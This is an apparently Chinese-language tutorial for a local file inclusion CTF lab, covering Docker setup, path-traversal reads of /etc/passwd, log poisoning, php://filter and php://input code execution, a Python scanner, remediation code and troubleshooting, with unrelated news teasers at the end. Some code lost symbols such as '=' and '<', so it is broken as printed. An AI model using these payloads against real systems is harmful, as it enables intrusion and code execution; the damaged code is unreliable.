Web安全实战:文件包含漏洞原理、利用与修复指南

发布时间:2026/8/14 21:43:01

Web安全实战:文件包含漏洞原理、利用与修复指南
这次我们来看一个Web安全领域的实战靶场项目——[青岑网安]Web文件包含-2。这个项目不是教你搭建网站而是让你在一个受控环境中亲手挖掘并利用“文件包含”这一经典Web漏洞。对于想入门Web安全、CTF夺旗赛或是提升代码审计能力的朋友来说这类靶场是绝佳的练手工具。文件包含漏洞简单说就是Web应用在引入外部文件时没有对用户输入进行严格过滤导致攻击者可以读取系统敏感文件如/etc/passwd甚至执行任意代码。它的危害等级通常很高是渗透测试和CTF比赛中的常客。[青岑网安]Web文件包含-2这个靶场就是围绕这个漏洞设计的实战环境。本文将带你从零开始部署并通关这个靶场。我们会重点关注环境搭建、漏洞原理分析、多种利用手法的实战演练以及如何修复这类漏洞。整个过程不需要高性能GPU主要依赖Web服务器如Apache/PHP和你的浏览器。无论你是安全新手还是想巩固文件包含知识的老手都能通过亲手操作获得直观的理解。1. 核心能力速览在深入动手之前我们先快速了解这个靶场的核心信息和你能从中获得什么。能力项说明项目类型Web安全实战靶场 / CTF挑战题核心漏洞文件包含漏洞 (Local File Inclusion, LFI)技术栈通常为 PHP Apache / Nginx环境要求支持PHP的Web服务器环境如Docker, XAMPP, 宝塔面板硬件门槛极低普通电脑即可无需独立显卡启动方式将源码部署到Web服务器目录通过浏览器访问核心目标1. 理解文件包含漏洞原理2. 利用漏洞读取敏感文件3. 尝试利用漏洞执行代码4. 掌握漏洞修复方法适合场景Web安全自学、CTF赛前练习、代码审计入门、渗透测试技能验证这个靶场模拟了一个存在文件包含漏洞的Web应用。你的任务就是以“攻击者”视角找到漏洞点并利用它完成预设的目标通常称为“拿到flag”。这比单纯看理论要深刻得多。2. 适用场景与使用边界这个靶场适合谁网络安全初学者想通过动手实践理解Web漏洞原理。CTF参赛者备赛Web方向尤其是文件包含这类高频考点。开发人员希望了解常见安全漏洞写出更安全的代码。渗透测试学习者在合法授权环境下练习漏洞利用技巧。它能解决什么问题理论落地将“文件包含漏洞”从概念转化为可操作的攻击链。技能验证检验你是否能独立发现并利用一个真实存在的漏洞。思维训练培养在限制条件下如过滤了某些字符寻找绕过方法的思维。使用边界与安全警告至关重要本靶场及其中涉及的所有技术仅限用于授权的测试环境、教育学习或CTF比赛。禁止对任何未经授权的网站、系统进行测试、扫描或攻击这是违法行为。禁止将靶场环境暴露在公网而不加访问控制可能被他人恶意利用。禁止使用此类技术进行任何非法活动包括但不限于窃取数据、破坏系统。合法授权是进行安全测试的唯一前提。请在本地虚拟机、隔离的Docker容器或明确授权的演练平台中运行此靶场。3. 环境准备与前置条件我们需要一个能运行PHP的Web服务器环境。以下是几种常见方案选择其一即可。方案一使用Docker推荐最干净这是最便捷、隔离性最好的方式避免污染主机环境。安装Docker确保你的系统Windows/macOS/Linux已安装Docker Desktop或Docker Engine。获取PHP镜像我们将使用一个包含Apache和PHP的官方镜像来快速搭建环境。方案二使用集成环境如XAMPP、宝塔面板如果你不熟悉Docker使用集成环境也可以。XAMPP/WAMP/MAMP下载并安装对应你操作系统的版本。安装后通常有一个htdocs目录作为网站根目录。宝塔面板在Linux服务器或虚拟机中安装宝塔通过面板创建PHP网站。方案三手动配置适合学习在Linux或macOS上你可以手动安装Apache和PHP。# Ubuntu/Debian 示例 sudo apt update sudo apt install apache2 php libapache2-mod-php -y安装后网站根目录通常是/var/www/html/。通用检查清单PHP版本靶场通常兼容PHP 5.x 到 8.x但建议使用PHP 7.x进行测试这是最常见的环境。端口占用Web服务器默认使用80或8080端口。确保这些端口没有被其他程序如Skype、IIS占用。靶场源码你需要拥有[青岑网安]Web文件包含-2的源代码文件。通常是一个包含index.php,flag.php等文件的压缩包或文件夹。4. 安装部署与启动方式我们以Docker方案为例演示如何快速部署靶场。其他方案只需将靶场源码放入对应的网站根目录即可。步骤1准备靶场源码假设你下载的靶场源码文件夹名为qingcen-file-inclusion-2。# 创建一个专门的工作目录 mkdir -p ~/web_security_labs cd ~/web_security_labs # 将靶场源码解压或移动到此处 # 假设源码就在当前目录下的 qingcen-file-inclusion-2 文件夹内 ls qingcen-file-inclusion-2/ # 你应该能看到 index.php 等文件步骤2使用Docker启动PHP环境在靶场源码的同级目录即~/web_security_labs下创建一个Dockerfile文件内容如下# 使用官方PHP-Apache镜像 FROM php:8.2-apache # 将靶场源码复制到容器内的网站根目录 COPY ./qingcen-file-inclusion-2/ /var/www/html/ # 可选调整Apache配置允许 .htaccess 重写如果靶场需要 RUN a2enmod rewrite # 暴露80端口 EXPOSE 80然后构建并运行Docker容器# 构建镜像命名为 qingcen-lfi-lab docker build -t qingcen-lfi-lab . # 运行容器将容器的80端口映射到主机的8080端口 docker run -d -p 8080:80 --name lfi_lab qingcen-lfi-lab步骤3访问靶场打开你的浏览器访问http://localhost:8080或http://127.0.0.1:8080。 如果看到靶场的首页可能是一个简单的文件包含功能页面说明环境部署成功。步骤4验证环境通常靶场首页会有一个文件包含的功能点比如通过?file参数来包含页面。你可以先尝试包含一个已知的文件比如?fileindex.php看看页面是否正常显示或发生变化以确认漏洞点可交互。5. 漏洞原理分析与利用测试这是本文的核心。我们将分步骤拆解文件包含漏洞并在靶场中实践。5.1 理解漏洞代码模式文件包含漏洞通常出现在使用include(),require(),include_once(),require_once()这些PHP函数时且文件名来自用户可控的输入如$_GET,$_POST,$_COOKIE未经过滤或过滤不严。一个典型的漏洞代码示例// index.php $file $_GET[file]; // 用户通过 ?file 参数控制 include($file . .php); // 直接拼接后包含攻击者可以构造?file../../../../etc/passwd虽然代码拼接了.php但通过路径遍历和空字节PHP5.3或利用协议可能绕过限制。5.2 基础利用读取敏感文件 (LFI)测试目的验证是否存在本地文件包含漏洞并读取服务器上的系统文件。操作步骤观察靶场页面寻找可能接收文件路径的参数常见参数名是file,page,load。在URL中尝试构造参数。例如访问http://localhost:8080/?file../../../../etc/passwdhttp://localhost:8080/index.php?page../../../windows/win.ini(Windows环境)观察页面响应。如果页面内容显示了/etc/passwd或win.ini文件的内容说明基础LFI漏洞存在。预期结果与判断成功页面展示了目标文件的内容如用户列表、系统配置。失败显示错误或空白可能原因路径不对需要调整../的层数。代码对输入进行了过滤如过滤了../。拼接了后缀如.php导致找不到文件。5.3 进阶利用日志文件包含与代码执行如果直接包含系统文件被过滤一个经典的绕过方法是包含Web服务器的访问日志。原理Web服务器如Apache会将每个请求记录在日志文件如/var/log/apache2/access.log中。如果我们通过请求将一段PHP代码写入日志再通过文件包含漏洞去包含这个日志文件服务器就会执行我们写入的代码。操作步骤定位日志路径尝试包含可能的日志路径。?file../../../../var/log/apache2/access.log?file../../../../xampp/apache/logs/access.log污染日志在User-Agent或Referer中插入PHP代码。使用Burp Suite或浏览器插件修改请求或者直接用curl命令curl -A ?php system(id); ? http://localhost:8080/这个请求会在访问日志的User-Agent字段留下?php system(id); ?。包含日志执行代码再次利用文件包含漏洞去包含这个日志文件。?file../../../../var/log/apache2/access.log如果漏洞存在且日志可读插入的PHP代码可能会被执行页面上可能会显示命令id的执行结果。判断成功页面显示了uid... gid...等系统命令执行结果说明实现了远程代码执行。5.4 利用PHP协议PHP内置了一些封装协议可以用于文件包含场景这是非常强大的技巧。常用协议php://filter用于读取文件源码即使代码被包含执行我们也能看到源代码。php://input可以访问请求的原始数据配合POST数据执行代码。data://直接包含数据流中的代码。测试php://filter读取源码目的当直接包含.php文件时代码会被执行我们看不到源代码。使用filter协议可以将其转换为base64等格式输出。操作?filephp://filter/convert.base64-encode/resourceindex.php预期结果页面显示一串base64编码。解码后即可得到index.php的源代码有助于我们分析其他漏洞或找到flag位置。# 在Linux终端解码示例 echo “页面显示的base64字符串” | base64 -d测试php://input执行代码目的直接通过POST请求体传递并执行PHP代码。操作使用Burp Suite或curl发送POST请求。URL:http://localhost:8080/?filephp://input请求体Body:?php system(ls -la); ?设置Header:Content-Type: application/x-www-form-urlencoded预期结果页面显示当前目录的文件列表。5.5 靶场实战寻找FlagCTF靶场的最终目标通常是找到“flag”它可能是一段特定格式的字符串如flag{xxxxxxx}。思路源码审计利用php://filter读取所有可能的.php文件源码寻找硬编码的flag或提示。目录遍历在能执行命令后如通过日志包含使用命令寻找包含“flag”关键词的文件。system(find / -type f -name \*flag*\ 2/dev/null); system(grep -r \flag{\ /var/www/html 2/dev/null);包含已知文件flag可能就在flag.php,secret.php,config.php等文件中尝试直接包含。6. 批量任务与自动化测试思路在实战渗透测试中我们可能需要批量检测多个参数或路径。虽然这个靶场是单点练习但了解自动化思路很有必要。场景假设你要测试一个未知应用的所有参数是否存在文件包含。Python脚本示例用于授权测试import requests import sys def test_lfi(url, param, test_payloads): 测试单个参数是否存在LFI漏洞 for payload in test_payloads: test_url f{url}?{param}{payload} try: resp requests.get(test_url, timeout5) # 这里需要根据实际响应判断漏洞是否存在例如检查响应中是否包含特定关键词 # 以下是一个简单示例实际判断逻辑要复杂得多 if root:x: in resp.text or ?php in resp.text: print(f[] Potential LFI found! URL: {test_url}) return True except requests.exceptions.RequestException as e: print(f[-] Error testing {test_url}: {e}) return False if __name__ __main__: target_url http://test.target.com/page.php parameters [file, page, load, path] # 常见参数名 payloads [ ../../../../etc/passwd, ....//....//....//....//etc/passwd, # 一种绕过过滤的变形 /etc/passwd%00, # 空字节截断旧版PHP php://filter/convert.base64-encode/resourceindex.php ] for param in parameters: print(f[*] Testing parameter: {param}) if test_lfi(target_url, param, payloads): break重要提醒此脚本仅为教学示例展示了自动化测试的思路。在真实授权测试中需要更完善的错误处理、速率限制、指纹识别和精准的漏洞判断逻辑避免对目标造成影响。7. 漏洞修复方案在成功利用漏洞后从开发者角度学习如何修复至关重要。根本解决方案避免使用用户输入直接控制文件路径。如果必须使用应采取以下措施白名单过滤这是最有效的方法。只允许包含预设的、安全的文件。$allowed_files array(home.php, news.php, about.php); $file $_GET[file]; if (in_array($file, $allowed_files)) { include($file); } else { include(error.php); }严格校验输入如果无法使用白名单则必须对输入进行严格校验。$file $_GET[file]; // 移除目录遍历字符 $file str_replace(array(../, ..\\, ~), , $file); // 或者更严格地只允许字母数字和短横线下划线 if (!preg_match(/^[a-zA-Z0-9_-]$/, $file)) { die(Invalid file name.); } $file $file . .php; // 确保文件在指定目录内 $base_dir /var/www/html/includes/; $real_path realpath($base_dir . $file); if ($real_path strpos($real_path, $base_dir) 0) { include($real_path); } else { die(File not allowed.); }禁用危险函数/配置治标不治本可作为加固在php.ini中设置allow_url_include Off禁止包含远程文件。使用open_basedir指令限制PHP可访问的目录范围。更新与安全开发保持PHP版本更新使用安全的框架并在开发流程中加入代码安全审计。8. 常见问题与排查方法在部署和测试靶场时你可能会遇到以下问题问题现象可能原因排查方式解决方案访问localhost:8080显示403 Forbidden或空白页1. Docker容器未成功启动。2. 靶场文件未正确复制到容器内。3. Apache目录权限问题。1.docker ps查看容器状态。2.docker exec -it lfi_lab bash进入容器检查/var/www/html/下是否有文件。3. 查看Apache错误日志docker logs lfi_lab。1. 重启容器docker restart lfi_lab。2. 确保Dockerfile中的COPY路径正确。3. 在Dockerfile中增加RUN chmod -R 755 /var/www/html。包含文件时页面报错Warning: include()1. 包含的文件不存在。2. 路径遍历层数不对。3. PHP配置open_basedir限制。1. 确认文件路径是否存在可在容器内用cat命令测试。2. 尝试减少或增加../的数量。3. 查看PHP配置。1. 使用绝对路径或调整相对路径。2. 如果靶场有源码分析其包含逻辑。3. 对于Docker可在php.ini中调整或禁用open_basedir。包含/etc/passwd成功但包含日志文件失败1. 日志文件路径不对。2. Web服务进程无权读取日志文件。3. 日志文件过大导致超时或内存不足。1. 尝试常见的日志路径变体。2. 进入容器检查日志文件权限ls -la /var/log/apache2/。3. 尝试包含一个较小的文件测试。1. 查找准确的日志路径。2. 修改日志文件权限仅限测试环境chmod 644 /var/log/apache2/access.log。3. 如果靶场设计如此可能需要其他利用方式。使用php://input协议无反应1.allow_url_include设置为Off。2. 请求方式或Header不正确。1. 在容器内创建phpinfo.php文件查看allow_url_include的值。2. 使用Burp Suite等工具确保POST请求体和Header正确。1. 修改php.ini设置allow_url_include On并重启Apache。2. 确保请求体是有效的PHP代码且URL参数正确。找不到Flag1. Flag不在常见位置。2. 需要组合利用多个漏洞。3. 对输入有特殊过滤需要绕过。1. 仔细审计所有能读到的源码。2. 尝试执行命令进行全局搜索。3. 查看页面注释、HTTP响应头、robots.txt等隐蔽位置。1. 扩大搜索范围使用find和grep命令。2. 分析过滤规则尝试编码、双写等绕过技术如....//代替../。3. 参考其他Writeup或提示。9. 最佳实践与学习建议从简单到复杂先掌握基础LFI读取文件再尝试日志包含、协议利用等高级技巧。理解原理优于记忆Payload明白为什么../可以遍历目录为什么包含日志能执行代码这比背下几个Payload更重要。搭建自己的实验环境像本文一样用Docker在本地搭建各种漏洞靶场如DVWA、WebGoat、bWAPP这是最安全高效的学习方式。代码审计习惯拿到一个靶场先尝试读源码。理解漏洞的代码成因才能更好地利用和修复它。善用工具但不依赖工具Burp Suite、sqlmap等工具能提高效率但手动测试能加深理解。初期建议多用手动测试。遵守法律与道德再次强调所有练习必须在你自己拥有完全控制权的环境中进行。通过 [青岑网安]Web文件包含-2 这个靶场的实战你应该对文件包含漏洞的挖掘、利用和修复有了一个完整的认识。这种漏洞在如今的Web应用中依然时有出现理解它不仅能帮助你在CTF中得分更能让你在开发或审计代码时具备一双“火眼金睛”。建议将本靶场反复练习几次并尝试搜索其他类似的LFI靶场进行巩固。

相关新闻

知芽深度综述报告排障指南:文献综述一键成稿时如何核对全文与引用

知芽深度综述报告排障指南:文献综述一键成稿时如何核对全文与引用

2026/8/14 21:43:01

知芽深度综述报告排障指南:文献综述一键成稿时如何核对全文与引用 一、先确认问题:快生成不等于可提交 2026年毕业季,知芽深度综述报告和其他AI综述工具受到关注。文献综述一键成稿解决了“没有初稿”的问题,但生成速度不能单独代…

招投标数字化全栈方案:AI 标书智能生成 + 电子标全流程自动化管控系统设计与落地

招投标数字化全栈方案:AI 标书智能生成 + 电子标全流程自动化管控系统设计与落地

2026/8/14 21:43:01

摘要:在招投标全流程电子化、监管智能化的行业背景下,传统人工标书制作、多平台分散操作的模式已面临效率低、出错率高、合规风险大的核心痛点。本文基于安华招标技术团队多年的系统迭代与全国项目落地实践,从技术架构层面拆解一套完整的招投…

Carla仿真系列:7_BEV + 语义分割融合,一张鸟瞰图看懂整个场景

Carla仿真系列:7_BEV + 语义分割融合,一张鸟瞰图看懂整个场景

2026/8/14 21:43:01

第6期做了语义分割,第5期做了BEV拼接,这期把它们融合起来——把语义分割结果投影到BEV鸟瞰图上,让整张图既能看到"哪里是什么",又能看到"在哪里"。 1 为什么要把两者融合 单独使用融合后BEV:知道…

LangChain实战:从零构建企业级智能客服助手

LangChain实战:从零构建企业级智能客服助手

2026/8/14 22:53:05

1. 项目概述:为什么我们需要LangChain这样的“胶水”?如果你最近在折腾大模型应用开发,大概率会听到一个词:LangChain。它火得有点不讲道理,但当你真正上手,想把一个想法变成可运行的AI应用时,你…

Windows环境安装MySQL server

Windows环境安装MySQL server

2026/8/14 22:53:05

下载 从MySQL官网下载安装包,下载Community Server的zip即可,如mysql-5.7.23-winx64.zip,也可以下载Installer版,这里说的是Community Server版。 解压 把下载好的zip包解压到一个合适的位置,本文给出的命令是基于解…

AI服务身份验证:从合规需求到技术实现与生态影响

AI服务身份验证:从合规需求到技术实现与生态影响

2026/8/14 22:53:05

1. 项目概述:当AI助手开始“验明正身”最近,一个消息在AI圈子里炸开了锅:知名的人工智能助手Claude,在其某些服务环节,竟然开始要求用户上传身份证件进行验证。这个消息一出,立刻引发了从技术爱好者到普通用…

花生壳域名解析总是解析失败?或许可以试试这个替代方案

花生壳域名解析总是解析失败?或许可以试试这个替代方案

2026/8/14 22:53:05

对于很多需要在外网访问家里NAS、监控或本地网站的朋友来说,花生壳曾是第一选择。但用久了你会发现,免费版带宽限速严重,域名解析还经常不稳定,动不动就“连接超时”或“解析失败”,关键时刻掉链子真的很搞心态。其实&…

AI编程工具集成策略与Cursor实战配置指南

AI编程工具集成策略与Cursor实战配置指南

2026/8/14 22:53:05

这类工具更新、功能上线又撤回的消息,隔三差五就能看到。但这次 Grok 4.6 在 Cursor 里“闪现”又消失,背后其实是一个挺典型的信号:AI 编程工具的功能边界和集成策略,正在快速试错和调整。对于每天在 Cursor、VSCode 里写代码的开…

09_DataFrame布尔索引

09_DataFrame布尔索引

2026/8/14 22:43:04

df[“age”] > 25df[ df[“age”] > 25 ] import pandas as pd import numpy as np import matplotlib.pyplot as pltdf pd.DataFrame(data{"age": [20, 30, 40, 10], "name": ["张三", "李四", "王五", "赵六&…

比较好的亚太EMBA,问了6位校友师资差别真的挺大

比较好的亚太EMBA,问了6位校友师资差别真的挺大

2026/8/13 11:01:28

比较好的亚太EMBA核心差异先看什么?对于希望兼顾工作与系统管理能力提升的亚太区高管而言,筛选匹配度高的EMBA项目时,师资配置是决定学习体验与实际收获的核心要素之一。我们结合3-4个公开信息透明、办学历史较长的亚太区主流EMBA项目特点&am…

备考3个月对比6份资料 海外游学的亚洲EMBA面试注意点

备考3个月对比6份资料 海外游学的亚洲EMBA面试注意点

2026/8/14 10:48:24

备考海外游学的亚洲EMBA面试,核心要围绕项目国际化设计逻辑、个人跨文化管理经验匹配度两个维度准备,避免把游学模块等同于普通旅游参访的认知偏差。不少备考者花3个月对比6份资料,却容易忽略面试官对“国际视野落地能力”的考察——比如香港…

比较好的国内EMBA,问了二十位校友聊透人脉价值

比较好的国内EMBA,问了二十位校友聊透人脉价值

2026/8/13 17:17:06

比较好的国内EMBA核心差异体现在哪些方面?比较好的国内EMBA的核心长期价值,很大程度上依托于校友网络的连接质量与资源生态的活跃度,这也是不少高管在择校时优先考量的因素。我们结合3-4个市场关注度较高的项目公开信息,从课程、师…

大连网站建设找简维科技:为您打造懂业务更懂用户的数字化转型引擎

大连网站建设找简维科技:为您打造懂业务更懂用户的数字化转型引擎

2026/8/14 0:01:53

在这个数字化浪潮席卷全球的今天,企业想要在激烈的市场竞争中站稳脚跟,拥有一张好看的“数字名片”已经远远不够了。很多老板在刚开始接触互联网业务时,都有一个共同的困惑:为什么我花了钱建的网站,就像是在真空中自嗨?访客进来转了两圈就跑了,线索石沉大海,甚至连客服…

临沂网站建设铭镇:深耕本土数字生态,以匠心铸就企业品牌核心竞争力

临沂网站建设铭镇:深耕本土数字生态,以匠心铸就企业品牌核心竞争力

2026/8/14 0:01:54

在这个流量为王、视觉至上的互联网时代,对于临沂乃至整个山东乃至全国的传统中小企业来说,拥有一张精美的“数字名片”早已不再是可选项,而是生存的必答题。每当夜幕降临,沂河两岸灯火辉煌,物流之都的喧嚣逐渐沉淀为对未来的思考。我们常常听到老板们在茶余饭后探讨:为什…

Flutter与OpenHarmony实现剧本杀组队表单开发实战

Flutter与OpenHarmony实现剧本杀组队表单开发实战

2026/8/14 0:01:54

1. 项目概述在移动应用开发领域,跨平台框架Flutter因其高效的开发体验和出色的性能表现,已经成为众多开发者的首选。而OpenHarmony作为新兴的操作系统平台,其开放性和灵活性为开发者提供了全新的可能性。本文将聚焦于一个实际应用场景——剧本…

摆脱论文困扰!盘点2026年全网爆红的的AI论文写作工具

摆脱论文困扰!盘点2026年全网爆红的的AI论文写作工具

2026/8/8 5:07:31

一天写完毕业论文在2026年已不再是天方夜谭。2026年最炸裂、实测能大幅提速的AI论文写作工具,覆盖选题构思、文献整理、内容生成、格式排版等核心场景,真正帮你高效搞定论文难题。 一、全流程王者:一站式搞定论文全链路(一天定稿首…

导师推荐!2026最新AI论文工具测评与实用推荐

导师推荐!2026最新AI论文工具测评与实用推荐

2026/8/9 13:42:46

2026年真正好用的AI论文工具,核心看生成的论文质量、低AI味、格式正确、学术适配四大指标。综合实测,千笔AI、ThouPen、豆包、DeepSeek、Grammarly 是当前最值得推荐的梯队,覆盖从免费到付费、从中文到英文、从文科到理工的全场景需求。 一、…

告别游戏崩溃:XCOM 2模组管理器的智能革命

告别游戏崩溃:XCOM 2模组管理器的智能革命

2026/8/14 19:35:14

告别游戏崩溃:XCOM 2模组管理器的智能革命 【免费下载链接】xcom2-launcher The Alternative Mod Launcher (AML) is a replacement for the default game launchers from XCOM 2 and XCOM Chimera Squad. 项目地址: https://gitcode.com/gh_mirrors/xc/xcom2-lau…